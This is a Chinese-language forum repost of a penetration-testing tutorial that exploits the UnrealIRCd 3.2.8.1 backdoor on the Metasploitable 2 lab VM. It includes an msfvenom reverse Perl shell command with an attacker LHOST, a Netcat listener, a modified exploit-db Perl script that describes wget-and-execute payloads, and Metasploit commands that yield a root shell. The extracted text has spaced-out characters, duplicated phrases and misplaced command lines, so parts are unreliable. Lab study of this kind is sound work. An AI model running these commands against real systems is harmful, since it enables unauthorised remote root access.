搜索

[10649] 2016-10-27_Metasploitable2系列教程：漏洞利用之UnrealIRCd3.2.8.1

文档创建者：s7ckTeam
浏览次数：8
最后更新：2025-01-18
2016-10-27_Metasploitable2系列教程：漏洞利用之UnrealIRCd3.2.8.1 M e t a s p l o i t a b l e   2 系 列 教 程 ： 漏 洞 利 用 之 U n r e a l   I R C d   3 . 2 . 8 . 1 S e c i s t   F r e e B u f   2 0 1 6 - 1 0 - 2 7 这 篇 文 章 中 ， 将 会 介 绍 如 何 利 用 这 篇 文 章 中 ， 将 会 介 绍 如 何 利 用   M e t a s p l o i t a b l e   2   上 上   U n r e a l   I R C d   s e r v i c e   存 在 的 漏 洞 ； 学 习 如 何 对 网 络 服 务 进 行 枚 举 ， 及 如 存 在 的 漏 洞 ； 学 习 如 何 对 网 络 服 务 进 行 枚 举 ， 及 如 何 定 义 和 检 索 关 键 信 息 ； 分 析 和 使 用 何 定 义 和 检 索 关 键 信 息 ； 分 析 和 使 用   m s f v e n o m   来 生 成 来 生 成   p a y l o a d   。 。 为 了 获 取 更 多 关 于 为 了 获 取 更 多 关 于   U n r e a l   I R C d   的 信 息 ， 我 们 还 将 使 用 的 信 息 ， 我 们 还 将 使 用   h e x c h a t   I R C   客 户 端 ， 连 接 进 入 到 客 户 端 ， 连 接 进 入 到   I R C   频 道 。 频 道 。 例 如 ： 有 时 我 们 使 用   N m a p   无 法 获 取 到 具 体 的 版 本 号 时 ， 我 们 仍 可 以 继 续 通 过 当 前 处 理 的 信 息 ， 进 行 近 一 步 的 漏 洞 评 估 和 发 现 。 在 这 篇 文 章 中 ， 我 们 同 样 将 通 过 ， 手 动 结 合   m e t a s p l o i t   的 方 式 进 行 漏 洞 的 利 用 ！ 在 之 前 枚 举 的 那 篇 文 章 中 ， 我 们 已 经 利 用   N m a p   获 取 到 了 以 下 信 息 ： 可 以 看 到 ， 有 两 个 关 于   U n r e a l   I R C d   的 开 放 端 口 ， 分 别 为   6 6 6 7   和   6 6 9 7   。 H e x C h a t   连 接 连 接   I R C   S e r v e r 现 在 让 我 们 通 过     h e x c h a t   I R C   客 户 端 ， 连 接 到     I R C d   s e r v i c e   。 如 果 你 没 有 安 装 客 户 端 ， 可 以 使 用 以 下 命 令 进 行 安 装 ： 我 们 点 击   a d d   按 钮 添 加 一 个   n e t w o r k   ， 并 命 名 为   M e t a s p l o i t a b l e   2 。 a p t   u p d a t e   & &   a p t   i n s t a l l   - y   h e x c h a t
接 着 我 们 点 击   E d i t   按 钮 ， 输 入   M e t a s p l o i t a b l e   2   的   I P   地 址 ， 并 使 用   6 6 6 7   端 口 。 关 闭 窗 口 并 点 击 连 接 按 钮 ， 连 接 到   M e t a s p l o i t a b l e   2   的   I R C   服 务 。 当 一 切 信 息 都 正 确 时 ， 我 们 就 能 成 功 连 接 到   U n r e a l   I R C   s e r v i c e   ：
当 我 们 进 入 了   I R C   频 道 ， 可 以 看 到 大 量 的 信 息 显 示 给 我 们 ！ 如 ： 主 机 名 ， 配 置 信 息 和 一 些 我 们 迫 切 想 知 道 的 ： 可 以 看 到   U n r e a l   I R C s e r v i c e   的 版 本 为   U n r e a l   3 . 2 . 8 . 1   。 我 们 可 以 利 用 该 信 息 ， 来 评 估 该 版 本 是 否 为 存 在 漏 洞 的 版 本 及 漏 洞 的 利 用 。 下 面 我 们 把 获 取 的 信 息 放 到   s e a r c h s p l o i t   和   e x p l o i t - d b   里 进 行 查 询 评 估 ， 看 看 这 个 版 本 的   U n r e a l   I R C   是 否 存 在 可 被 利 用 的 漏 洞 。 U n r e a l   I R C D   3 . 2 . 8 . 1   漏 洞 评 估 漏 洞 评 估 S e a r c h s p l o i t 我 们 在   k a l i   上 使 用 如 下 命 令 ： 我 们 可 以 看 到 ， 该 版 本 的   U n r e a l   I R C d   有   3   个 可 利 用 漏 洞 ： 1 . 远 程 下 载 和 执 行   P e r l   脚 本 木 马 。 2 . 后 门 漏 洞 可 在   M e t a s p l o i t   上 利 用 的   R u b y   e x p l o i t   。 3 . 本 地 溢 出 可 造 成 D O S 拒 绝 服 务 的   e x p l o i t   ， 但 它 只 适 用 于   w i n d o w s   ， 因 此 不 适 用 我 们 的 目 标   M e t a s p l o i t a b l e   2   。 E x p l o i t - d b   查 询 查 询 同 样 ， 我 们 使 用 相 同 的 关 键 字   U n r e a l   I R C D   3 . 2 . 8 . 1   来 进 行 搜 索 ， 我 们 发 现 搜 索 的 结 果 是 相 同 的 ： 在 本 章 教 程 中 ， 我 们 将 使 用   P e r l   脚 本 和   M e t a s p l o i t   模 块 进 行 利 用 。 让 我 们 先 从   P e r l   脚 本 入 手 。 手 动 利 用 手 动 利 用   U n r e a l   I R C d s e a r c h s p l o i t   u n r e a l   i r c d   3 . 2 . 8 . 1
在 接 下 来 ， 我 们 将 使 用 从   s e a r c h s p l o i t   和   E x p l o i t - d b 获 取 的   e x p l o i t   ， 来 对   U n r e a l   I R C d   s e r v i c e   进 行 利 用 。 分 析 分 析   U n r e a l   I R C D   3 . 2 . 8 . 1   –   R e m o t e   D o w n l o a d e r / E x e c u t e   T r o j a n 在 我 们 使 用 脚 本 进 行 漏 洞 利 用 之 前 ， 我 们 先 对 该 脚 本 做 个 简 单 的 分 析 。 我 们 从 包 含 有 不 同   p a y l o a d s   的 脚 本 第 一 部 分 开 始 。 使 用 以 下 命 令 查 看 脚 本 内 容 ： 代 码 分 析 代 码 分 析   p a r t   1 P a y l o a d   1 ： 使 用   w g e t   下 载 和 绑 定 一 个   s h e l l ， 并 保 存 文 件 为   b i n d s h e l l ， 赋 予 其 执 行 权 限 ， 并 进 行 执 行 。 由 于 我 们 看 不 到 下 载 的   b i n d s h e l l   文 件 ， 因 此 我 们 可 以 猜 测 ， 这 个 文 件 的   s h e l l   被 绑 定 在 了 目 标 机 器 上 。 P a y l o a d   2 ： 下 载 一 个 名 为   b o t   的 文 件 ， 我 们 只 能 猜 测 它 的 选 项 到 底 是 什 么 。 P a y l o a d   3 ： 下 载 一 个 文 件 ， 并 保 存 为   r s h e l l   。 设 置 正 确 的 权 限 ， 并 执 行 文 件 。 我 们 只 能 猜 测 ， 下 载 的 有 效 载 荷 是 一 个 反 向 的   s h e l l   。 P a y l o a d   4 ： 停 止   U n r e a l   I R C D   服 务 。 P a y l o a d   5 ： 从 服 务 器 上 删 除   U n r e a l   I R C D   服 务 。 让 我 们 继 续 进 行 下 一 个 代 码 块 的 分 析 ， 它 是 进 行 参 数 的 检 索 及 验 证 的 ， 并 打 印 其 使 用 的 相 关 信 息 在 控 制 台 上 。 头   3   行 设 置 了 三 个 初 始 化 为 空 的 变 量 ， 分 别 为   h o s t ,   p o r t   和   t y p e     ， 接 着 它 们 被 分 别 赋 予 了 变 量 值 。 下 面 开 始 判 断 这   3   个 变 量 是 否 为 空 值 ， 如 果 为 空 则 执 行   u s a g e   函 数 。 这 将 会 退 出 脚 本 的 执 行 ， 因 为 最 后 一 行 代 码 为   e x i t ( 1 ) ， 即 程 序 发 生 错 误 则 退 出 执 行 。 在 使 用 说 明 中 ， 我 们 可 以 看 到 ， 有   5   种 不 同 的 类 型 的   p a y l o a d   可 以 用 来 利 用 这 个 漏 洞 。 并 且 分 别 做 了 相 应 的 号 码 排 序 。 当 我 们 仔 细 查 看 以 上 脚 本 内 容 ， 我 们 可 以 发 现 ， 类 型   2   的   p a y l o a d   和 类 型   3   的   p a y l o a d         进 行 了 切 换 。 c a t   / u s r / s h a r e / e x p l o i t d b / p l a t f o r m s / l i n u x / r e m o t e / 1 3 8 5 3 . p l
代 码 分 析 代 码 分 析   p a r t   3 在 这 个 代 码 块 中 对 应 的   p a y l o a d   分 别 进 行 执 行 ， 类 型   1   执 行   p a y l o a d   1 ,   类 型   2   执 行   p a y l o a d   2   等 。 修 改 修 改   U n r e a l   I R C D   3 . 2 . 8 . 1   e x p l o i t 既 然 我 们 无 法 控 制 下 载 的 文 件 ， 也 不 知 道 文 件 的 内 容 ， 那 么 我 们 就 无 法 对 该 文 件 进 行 控 制 和 操 作 。 下 面 我 将 修 改   p a y l o a d   以 取 得 有 效 控 制 ， 步 骤 如 下 ： 1 .   使 用   m s f v e n o m   生 成 一 个   r e v e r s e   s h e l l   p a y l o a d 。 2 .   修 改   e x p l o i t   代 码 。 3 .   使 用   N e t c a t   获 取 一 个   r e v e r s e   s h e l l 。 R e v e r s e   s h e l l   p a y l o a d 当 前 的   P e r l   脚 本 的 一 个 主 要 缺 点 是 ， 它 依 赖 于 成 功 的 利 用 及 执 行   w g e t   命 令 才 能 成 功 下 载 。 因 此 ， 如 果   w g e t   命 令 不 在 目 标 主 机 上 ， 则 会 利 用 失 败 。 下 面 我 将 使 用   m s f v e n o m   生 成 一 个   P e r l   脚 本 的   p a y l o a d   摆 脱 这 种 依 赖 和 不 可 控 性 。 命 令 如 下 ： 下 面 我 们 进 行 一 个 测 试 ， 将 生 成 的   p a y l o a d   移 动 到   A p a c h e   站 点 目 录 下 并 执 行 ： 我 们 使 用   N e t c a t   进 行 侦 听 ： m s f v e n o m   - p   c m d / u n i x / r e v e r s e _ p e r l   L H O S T = 1 9 2 . 1 6 8 . 1 0 0 . 1 0 8   L P O R T = 4 4 4 4   - f   r a w
可 以 看 到 ， 成 功 取 得 了   r e c e i v e   s h e l l   。 修 改 修 改   E x p l o i t 经 过 实 验 我 们 得 知 ， 我 们 生 成 的   p a y l a o d   可 以 正 常 工 作 。 下 面 我 们 将 之 前   P e r l   e x p l o i t   脚 本 拷 贝 至 桌 面 ， 命 令 如 下 ： c p   / u s r / s h a r e / e x p l o i t d b / p l a t f o r m s / l i n u x / r e m o t e / 1 3 8 5 3 . p l   / r o o t / D e s k t o p / 1 3 8 5 3 . p l 我 们 用 编 辑 器 打 开 该   P e r l   脚 本 ， 将   p a y l o a d   1   修 改 成 如 下 ： 注 意 ： 在 单 引 号 位 置 ， 必 须 加 上 反 斜 杠 进 行 转 义 ！ 执 行 执 行   e x p l o i t 一 切 准 备 就 绪 ， 现 在 我 们 就 可 以 在   M e t a s p l o i t a b l e   2   上 执 行   e x p l o i t   了 。 在 正 式 执 行 之 前 ， 让 我 们 使 用   N e t c a t   启 动 一 个 侦 听 。 命 令 如 下 ： 执 行   e x p l o i t ： 很 快 我 们 就 在   N e t c a t   下 获 取 了 一 个   r e v e r s e   s h e l l   ： 我 们 使 用   i d   命 令 ， 可 以 看 到 我 们 取 得 是   r o o t   权 限 ！ M e t a s p l o i t   之 之   U n r e a l   I R C D   3 . 2 . 8 . 1   漏 洞 利 用 漏 洞 利 用 下 面 我 们 来 使 用   M e t a s p l o i t   来 进 行   U n r e a l   I R C D   b a c k d o o r   的 利 用 。 我 们 启 动   m s f c o n s o l e   ， 并 搜 索   U n r e a l   I R C D   相 关 利 用 模 块 ： n c   - l v p   4 4 4 4 p e r l   1 3 8 5 3 . p l   [ t a r g e t   I P ] [ p o r t ] 1
使 用 选 中 模 块 ： 查 看 可 用   p a y l o a d s   并 选 择 使 用 合 适   p a y l o a d ： 查 看 并 配 置 相 关 选 项 ： s e a r c h   U n r e a l   I R C D u s e   e x p l o i t / u n i x / i r c / u n r e a l _ i r c d _ 3 2 8 1 _ b a c k d o o r s h o w   p a y l o a d s s e t   p a y l o a d   c m d / u n i x / r e v e r s e _ p e r l s h o w   o p t i o n s s e t   r h o s t   [ t a r g e t   i p ]   s e t   l h o s t   [ a t t a c k b o x   i p ]
执 行   e x p l o i t   ： 可 以 看 到 我 们 成 功 利 用 了 该 后 门 漏 洞 ， 并 获 取 到 了 一 个   r o o t   权 限 的   s h e l l   。 经 验 及 教 训 经 验 及 教 训 1 .   在 渗 透 测 试 中 ， 关 于 服 务 信 息 的 枚 举 收 集 是 非 常 重 要 的 。 2 .   在 利 用 代 码 前 一 定 要 学 会 分 析 代 码 。 3 .   永 远 不 要 相 信 你 无 法 验 证 的   p a y l o a d s ， 必 要 时 应 更 换   p a y l o a d s   。 * 参 考 来 源 ： h a c k i n g   t u t o r i a l s ， S e c i s t   编 译 ， 未 经 许 可 禁 止 转 载 r u n
阅 读 原 文
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理